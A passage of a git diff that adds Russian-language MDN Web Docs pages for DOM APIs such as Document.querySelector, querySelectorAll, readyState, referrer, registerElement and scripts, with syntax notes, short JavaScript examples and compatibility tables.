+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение (выставляется во время инициализации DOM).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение (выставляется во время инициализации DOM).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatNo}} {{bug(931884)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойство {{domxref("URLUtils.origin")}}.</li>
+</ul>
diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..2a4803421f
--- /dev/null
+++ b/files/ru/web/api/document/queryselector/index.html
@@ -0,0 +1,131 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+  - CSS
+  - DOM
+  - Selector
+  - querySelector
+  - выборка
+  - поиск элемента
+  - поиск элементов
+  - селектор
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} метод <code><strong>querySelector()</strong></code> возвращает первый элемент ({{domxref("Element")}}) документа, который соответствует указанному селектору или группе селекторов. Если совпадений не найдено, возвращает значение <code>null</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Сопоставление выполняется с использованием обхода по предварительному порядку в глубину узлов документа, начиная с первого элемента в разметке документа и повторяя последовательные узлы по порядку количества дочерних узлов.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js notranslate">element = document.querySelector(selectors);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><var>селекторы</var></dt>
+ <dd>{{domxref("DOMString")}}, содержайщий один или более селекторов для сопоставления. Эта строка должна быть допустимой строкой селектора CSS; если же нет, генерируется исключение <code>SYNTAX_ERR</code>. Смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Расположение элементов DOM с использованием селекторов</a> для того, чтобы узнать больше о селекторах и о том, как ими управлять.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Заметка:</strong> Символы, которые не являются частью стандартного синтаксиса CSS должны быть экранированы символом обратной косой черты. Поскольку JavaScript также использует экранирование символом обратной косой черты, будьте особенно внимательны при написании строковых литералов с использованием этих символов. См. {{anch("Escaping special characters")}} для получения дополнительной информации.</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ссылка на объект типа {{domxref("Element")}}, являющийся первым элементов в документе, который соответствует указанному набору <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_%D0%A1%D0%B5%D0%BB%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B">CSS селекторов</a>, либо <code>null</code>, если совпадений нет.  </p>
+
+<p>Если вам нужен список всех элементов, соответствующих указанным селекторам, используйте функцию {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Некорректный синтаксис указанных селекторов <var>selectors</var>.</dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Если указанный селектор соответствует идентификатору, который неправильно используется более одного раза в документе, возвращается первый элемент с этим идентификатором.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">Псевдо-элементы CSS</a> никогда не вернут никаких элементов, как указано в <a href="http://www.w3.org/TR/selectors-api/#grammar">API селекторов</a>.</p>
+
+<h3 id="Экранирование_специальных_символов">Экранирование специальных символов</h3>
+
+<p>Чтобы сопоставить ID или селектроры, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p>
+
+<pre class="brush: html notranslate">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#foo\bar');               // "#fooar" (\b is the backspace control character)
+  document.querySelector('#foo\bar');    // Does not match anything
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\bar'); // Match the first div
+
+  document.querySelector('#foo:bar');    // Does not match anything
+  document.querySelector('#foo\\:bar');  // Match the second div
+&lt;/script&gt;</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Выбор_первого_элемента_с_совпадающим_классом">Выбор первого элемента с совпадающим классом</h3>
+
+<p>В этом примере, нам вернется первый элемент в документе с классом "<code>myclass</code>":</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector(".myclass");
+</pre>
+
+<h3 id="Notes" name="Notes">Более сложный селектор</h3>
+
+<p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент &lt;input name="login"/&gt;, находящийся в &lt;div class="user-panel main"&gt;:</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]");
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.querySelector")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Фрагменты кода для querySelector</a></li>
+</ul>
diff --git a/files/ru/web/api/document/queryselectorall/index.html b/files/ru/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..3706d0099d
--- /dev/null
+++ b/files/ru/web/api/document/queryselectorall/index.html
@@ -0,0 +1,165 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Document
+  - Method
+  - Selectors
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Метод <code><strong>querySelectorAll()</strong></code> {{domxref("Document")}} возвращает статический (не динамический) {{domxref("NodeList")}}, содержащий все найденные элементы документа, которые соответствуют указанному селектору.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Данный метод реализован на основе миксина {{domxref("ParentNode")}} {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} метода.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">elementList = document.querySelectorAll(selectors);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><strong><code>selectors</code></strong></dt>
+ <dd>Строка {{domxref("DOMString")}}, содержащая один или более <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">CSS селектор</a>. Эта строка должна быть валидным <a href="/ru/docs/Web/CSS/CSS_Selectors">CSS селектором</a>. Если это не так, то генерируется <code>SyntaxError</code>. Смотрите <a href="/ru/docs/DOM/DOM_Reference/Locating_DOM_elements_using_selectors">Поиск элементов DOM с использованием селекторов</a> для получения информации о том, распознавать элементы. Несколько селекторов нужно разделить запятыми.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Символы, которые не являются частью стандартного синтаксиса CSS, должны быть экранированы с помощью символа обратной косой черты (<code>\</code>). Поскольку в JavaScript также используется экранирование обратной косой черты, при написании строковых литералов с использованием этих символов следует соблюдать особую осторожность. Для более подробной информации смотри {{anch("Escaping special characters")}}.</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Статический (non-live) {{domxref("NodeList")}}, содержащий все элементы в пределах документа, которые соответствуют как минимум одному из указанных селекторов, или пустой {{domxref("NodeList")}} в случае отсутствия совпадений.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если в строке <code>selectors</code> содержатся <a href="/ru/docs/Web/CSS/Pseudo-elements">CSS псевдоэлементы</a>, то возвращаемый список будет всегда пуст.</p>
+</div>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Исключение <code>SYNTAX_ERR</code> происходит в случае передачи некорректной группы селекторов.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Получение_списка_совпадений">Получение списка совпадений</h3>
+
+<p>Чтобы получить {{domxref("NodeList")}} всех элементов {{HTMLElement("p")}} в документе:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("p");</pre>
+
+<p>В этом примере возвращается список всех элементов {{HTMLElement ("div")}} в документе, которые имеют класс <code>note</code> или <code>alert</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>Здесь мы получаем список элементов <code>&lt;p&gt;</code>, чьим непосредственным родительским элементом явялется {{HTMLElement("div")}} с классом <code>highlighted</code>, который расположен внутри контейнера с идентификатором <code>test</code>.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>В этом примере используются <a href="/ru/docs/Web/CSS/Attribute_selectors">селекторы атрибутов</a>, чтобы вернуть список элементов {{HTMLElement("iframe")}}, которые содержат атрибут <code>data-src</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>Здесь селектор атрибута используется для возврата элементов списка, содержащихся в списке с идентификатором <code>"userlist"</code>, который имеет атрибут <code>"data-active"</code> со значением <code>"1"</code>:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="Доступ_к_совпадениям">Доступ к совпадениям</h3>
+
+<p>Вернув {{domxref("NodeList")}} совпадений один раз, вы можете использовать его как простой массив. Если массив пустой (т. е. свойство <code>length</code> равно 0), то совпадений не было найдено.</p>
+
+<p>В другом случае, вы можете использовать стандартную запись массива для доступа к содержимому. Вы можете использовать любой оператор зацикливания, например:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<h2 id="Примечания_пользователя">Примечания пользователя</h2>
+
+<p><code>querySelectorAll()</code> ведёт себя не так, как большинство библиотек JavaScript DOM. Это может привести к неожиданным результатам.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Рассмотрим этот HTML с тремя вложенными {{HTMLElement("div")}} блоками.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="select"&gt;
+    &lt;div class="inner"&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll('.outer .inner');
+inner.length; // 1, не 0!</pre>
+
+<p>В данном примере, когда мы выбрали <code>".outer .inner"</code> в контексте <code>&lt;div&gt;</code> с классом <code>"select"</code>, элемент с классом <code>".inner"</code> был всё равно найден, хотя <code>.outer</code> не является потомком элемента в котором происходил поиск (<code>".select"</code>). По-умолчанию, <code>querySelectorAll()</code> проверяет только последний элемент без учёта контекста.</p>
+
+<p>Псевдокласс {{cssxref(":scope")}} даёт нам ожидаемый результат. Только соответстующие селекторы в потомках базового элемента:</p>
+
+<pre class="brush: js">var select = document.querySelector('.select');
+var inner = select.querySelectorAll(':scope .outer .inner');
+inner.length; // 0</pre>
+
+<h2 id="Спецификации"><span style="font-size: 2.33333rem; letter-spacing: -0.00278rem;">Спецификации</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Живой стандарт</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Оригинальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document.querySelectorAll")}}</p>
+
+<h2 id="Смотрите_также"><span style='font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 2.33333rem; letter-spacing: -0.00278rem;'>Смотрите также</span></h2>
+
+<ul>
+ <li>{{domxref("Element.querySelector()")}} and {{domxref("Element.querySelectorAll()")}}</li>
+ <li>{{domxref("Document.querySelector()")}}</li>
+ <li>{{domxref("DocumentFragment.querySelector()")}} and {{domxref("DocumentFragment.querySelectorAll()")}}</li>
+ <li>{{domxref("ParentNode.querySelector()")}} and {{domxref("ParentNode.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector">Code snippets for <code>querySelector</code></a></li>
+</ul>
diff --git a/files/ru/web/api/document/readystate/index.html b/files/ru/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..fbf050e1b5
--- /dev/null
+++ b/files/ru/web/api/document/readystate/index.html
@@ -0,0 +1,116 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+tags:
+  - API
+  - Property
+translation_of: Web/API/Document/readyState
+---
+<div>
+<p>{{APIRef("DOM")}}{{gecko_minversion_header("1.9.2")}}</p>
+
+<p>Свойство<strong> <code>Document.readyState</code></strong> описывает состояние загрузки {{domxref("document")}}.</p>
+
+<p>Когда значение этого свойства изменяется, в объетке {{domxref("document")}} запускается событие {{event("readystatechange")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="notranslate">var <var>string</var> = <var>document</var>.readyState;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Свойство <strong>readyState</strong> объекта document может иметь одно из следующих значений:</p>
+
+<dl>
+ <dt><code>loading</code></dt>
+ <dd>Страница все еще загружается.</dd>
+ <dt><code>interactive</code></dt>
+ <dd>Страница уже загружена и <a href="/en-US/docs/Glossary/DOM">DOM</a> дерево построено, но дополнительные ресурсы, такие как изображения и <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>, все еще загружаются.</dd>
+ <dt><code>complete</code></dt>
+ <dd>Страница и все дополнительные ресурсы уже загружены. Это состояние указывает, что событие {{event("load")}} уже вызвано.</dd>
+</dl>
+
+<p>При изменении значения, данного свойства, вызывается событие {{event("readystatechange")}} на объекте {{ domxref("document") }}.</p>
+
+<h2 id="Примеры"><span>Примеры</span></h2>
+
+<h3 id="Разные_состояния_загрузки_страницы">Разные состояния загрузки страницы</h3>
+
+<pre class="brush: js notranslate" dir="rtl"><span>switch (document.readyState) {
+  case "loading":
+    // Страница все еще загружается
+    break;
+  case "interactive":
+    // Страница уже загружена. Теперь мы можем получить доступ к DOM объектам.
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // Страница загружена вместе с дополнительными ресурсами.
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}</span>
+</pre>
+
+<h3 id="readystatechange_как_альтернатива_событию_DOMContentLoaded">readystatechange как альтернатива событию DOMContentLoaded</h3>
+
+<pre class="brush:js notranslate">// альтернатива событию DOMContentLoaded
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_как_альтернатива_событию_load">readystatechange как альтернатива событию load</h3>
+
+<pre class="brush: js notranslate">// альтернатива событию load
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первичная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.readyState")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Событие {{event("readystatechange")}}</li>
+ <li>Событие {{event("DOMContentLoaded")}}</li>
+ <li>Событие {{event("load")}}</li>
+</ul>
diff --git a/files/ru/web/api/document/referrer/index.html b/files/ru/web/api/document/referrer/index.html
new file mode 100644
index 0000000000..2855d99c69
--- /dev/null
+++ b/files/ru/web/api/document/referrer/index.html
@@ -0,0 +1,41 @@
+---
+title: Document.referrer
+slug: Web/API/Document/referrer
+tags:
+  - API
+  - Document
+  - Property
+translation_of: Web/API/Document/referrer
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с которой был совершен переход на текущую.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var <var>referrer</var> = <var>document</var>.referrer;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Вернет пустую строку, если пользователь попал на страницу напрямую (не через ссылку, а, например, через закладку). Т.к. свойство возвращает строку, это не дает вам доступ к DOM ссылающейся страницы.</p>
+
+<p>Внутри элемента {{HTMLElement("iframe")}}, <code>Document.referrer</code> первоначально будет установлен в тоже значение, что и {{domxref("HTMLHyperlinkElementUtils/href", "href")}} объекта {{domxref("Window/location", "Window.location")}} родительского окна.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95229140">DOM Level 2: referrer</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Браузерная_поддержка">Браузерная поддержка</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.referrer")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/registerelement/index.html b/files/ru/web/api/document/registerelement/index.html
new file mode 100644
index 0000000000..a7788e0c6e
--- /dev/null
+++ b/files/ru/web/api/document/registerelement/index.html
@@ -0,0 +1,117 @@
+---
+title: Document.registerElement()
+slug: Web/API/Document/registerElement
+translation_of: Web/API/Document/registerElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>{{draft()}}</p>
+
+<p>Метод <code><strong>Document.registerElement()</strong></code> регистрирует новый кастомный элемент (<a href="/en-US/docs/Web/Web_Components/Custom_Elements">custom element</a>) в браузере и возвращает конструктор для этого нового элемента.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Это экспериментальная технология . Браузер который вы используете должен поддерживать Вэб Компоненты (Web Components). Смотри больше: <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>tag-name</em></dt>
+ <dd>Имя кастомного элемента. Имя должно содержать символ дефиса (-), например: <code>my-tag</code>.</dd>
+ <dt><em>options {{optional_inline}}</em></dt>
+ <dd>An object that names the prototype to base the custom element on, and an existing tag to extend. Both of these are optional.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>Here is a very simple example:</p>
+
+<pre class="brush: js">var Mytag = document.registerElement('my-tag');
+</pre>
+
+<p>Now the new tag is registered in the browser. The <code>Mytag</code> variable holds a constructor that you can use to create a <code>my-tag</code> element in the document as follows:</p>
+
+<pre class="brush: js">document.body.appendChild(new Mytag());</pre>
+
+<p>This inserts an empty <code>my-tag</code> element that will be visible if you use the browser's developer tools. It will not be visible if you use the browser's view source capability. And it won't be visible in the browser unless you add some content to the tag. Here is one way to add content to the new tag:</p>
+
+<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Custom Elements')}}</td>
+   <td>{{Spec2('Custom Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>31 (behind a flag)</td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ru/web/api/document/scripts/index.html b/files/ru/web/api/document/scripts/index.html
new file mode 100644
index 0000000000..bb82b79677
--- /dev/null
+++ b/files/ru/web/api/document/scripts/index.html
@@ -0,0 +1,93 @@
+---
+title: Document.scripts
+slug: Web/API/Document/scripts
+translation_of: Web/API/Document/scripts
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает список элементов {{HTMLElement("script")}} в документ. Возвращаемый объект явлеется {{domxref("HTMLCollection")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>var <em>scriptList</em></code> = document.scripts;
+</pre>
+
+<p>Возвращаемый <code>scriptList</code> является {{domxref("HTMLCollection")}}. Вы можете использовать его как массив для получения всех элементов в списке.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Этот пример показывает есть ли на старинице элементы {{HTMLElement("script")}}.</p>
+
+<pre class="brush:js">var scripts = document.scripts;
+
+if (scripts.length) {
+  alert("This page has scripts!");
+}
+</pre>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-scripts', 'Document.scripts')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..041c505630
--- /dev/null
+++ b/files/ru/web/api/document/scroll_event/index.html
@@ -0,0 +1,100 @@
+---
+title: 'Document: событие scroll'
+slug: Web/API/Document/scroll_event
+tags:
+  - API
+  - DOM
+  - Document
+  - Event
+  - Scroll
+  - UIEvent
+  - Источник
+translation_of: Web/API/Document/scroll_event
+---
+<p>{{APIRef}}</p>
+
+<p>Событие <strong><code>scroll</code></strong> возникает при прокрутке области просмотра документа или элемента.</p>
+
+<table class="properties">
+ <thead>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Всплытие</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th>Отменяемый</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th>Интерфейс</th>
+   <td>{{DOMxRef("Event")}}</td>
+  </tr>
+  <tr>
+   <th>Свойство обработчика событий</th>
+   <td>{{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
